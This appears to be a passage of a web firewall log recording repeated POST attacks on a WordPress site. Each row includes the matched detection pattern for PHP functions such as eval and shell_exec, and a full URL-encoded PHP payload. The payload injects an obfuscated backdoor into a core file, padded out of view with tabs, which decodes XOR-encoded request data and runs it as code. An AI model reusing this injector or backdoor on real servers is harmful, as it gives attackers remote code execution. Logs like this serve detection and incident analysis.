2%252C%2520%255B%2524factor%252C%2520%2522.itm%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524ent%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 12:54:00","78.142.18.172","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-simplepie-sanitize-kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%2529%257B%2520%2524dchunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%253B%2520%2524reference%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252046%2529%253B%257D%2520%2524symbol%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524dchunk%255B%2524symbol%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524symbol%2520%253E%253D%2520count%2528%2524dchunk%2529%2529%2520break%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524tkn%2529%252C%2520is_writable%2528%2524tkn%2529%255D%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524tkn%2522%2520.%2520%2522\/.entity%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524reference%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524symbol%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4167\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM3NvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept:*\/*\n\ngp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-simplepie-sanitize-kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%2529%257B%2520%2524dchunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%253B%2520%2524reference%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252046%2529%253B%257D%2520%2524symbol%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524dchunk%255B%2524symbol%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524symbol%2520%253E%253D%2520count%2528%2524dchunk%2529%2529%2520break%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524tkn%2529%252C%2520is_writable%2528%2524tkn%2529%255D%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524tkn%2522%2520.%2520%2522\/.entity%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524reference%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524symbol%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:54:32","217.217.254.45","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ki:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-simplepie-sanitize-kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%2529%257B%2520%2524dchunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%253B%2520%2524reference%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252046%2529%253B%257D%2520%2524symbol%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524dchunk%255B%2524symbol%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524symbol%2520%253E%253D%2520count%2528%2524dchunk%2529%2529%2520break%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524tkn%2529%252C%2520is_writable%2528%2524tkn%2529%255D%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524tkn%2522%2520.%2520%2522\/.entity%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524reference%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524symbol%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn2xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-length:4167\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\n\nki=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-simplepie-sanitize-kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%2529%257B%2520%2524dchunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%253B%2520%2524reference%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252046%2529%253B%257D%2520%2524symbol%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524dchunk%255B%2524symbol%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524symbol%2520%253E%253D%2520count%2528%2524dchunk%2529%2529%2520break%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524tkn%2529%252C%2520is_writable%2528%2524tkn%2529%255D%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524tkn%2522%2520.%2520%2522\/.entity%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524reference%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524symbol%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:54:58","93.39.85.202","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Yl:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-simplepie-sanitize-kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%2529%257B%2520%2524dchunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%253B%2520%2524reference%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252046%2529%253B%257D%2520%2524symbol%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524dchunk%255B%2524symbol%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524symbol%2520%253E%253D%2520count%2528%2524dchunk%2529%2529%2520break%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524tkn%2529%252C%2520is_writable%2528%2524tkn%2529%255D%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524tkn%2522%2520.%2520%2522\/.entity%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524reference%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524symbol%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4167\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJJjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept:*\/*\n\nYl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-simplepie-sanitize-kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%2529%257B%2520%2524dchunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%253B%2520%2524reference%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252046%2529%253B%257D%2520%2524symbol%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524dchunk%255B%2524symbol%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524symbol%2520%253E%253D%2520count%2528%2524dchunk%2529%2529%2520break%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524tkn%2529%252C%2520is_writable%2528%2524tkn%2529%255D%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524tkn%2522%2520.%2520%2522\/.entity%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524reference%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524symbol%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
